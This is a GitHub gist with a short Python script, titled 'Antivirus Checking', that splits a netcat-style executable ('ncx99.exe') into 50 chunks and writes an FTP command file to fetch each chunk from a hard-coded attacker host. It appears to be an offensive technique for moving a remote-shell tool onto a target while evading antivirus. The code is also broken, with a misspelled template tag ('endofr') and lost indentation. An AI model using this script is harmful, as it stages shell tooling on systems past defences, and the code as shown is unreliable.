Skip to content

Instantly share code, notes, and snippets.

@kkirsche
Created October 17, 2018 15:26
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kkirsche/45e203a93d77aee3da1f8f58116449dc to your computer and use it in GitHub Desktop.
Save kkirsche/45e203a93d77aee3da1f8f58116449dc to your computer and use it in GitHub Desktop.
Antivirus Checking
#!/usr/bin/env python
from jinja2 import Template
from subprocess import call
lhost = '192.168.102.69'
binary = 'ncx99.exe'
split_num = 50
tmpl = Template('''open {{ lhost }} 21
BINARY
{%- for f in split_files %}
GET {{ f }}
{%- endofr %}
BYE
''')
if __name__ == '__main__':
print('[*] splitting file into smaller components')
p = call(['split', '-n', str(split_num), '-x', binary])
print('[*] building FTP file')
i = 0
split_files = []
for n in range(i, split_num):
split_files.append('x{:02x}'.format(n))
rt = tmpl.render(lhost=lhost, split_files=split_files)
with open('ftp.txt', 'w') as f:
f.write(rt + '\n')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment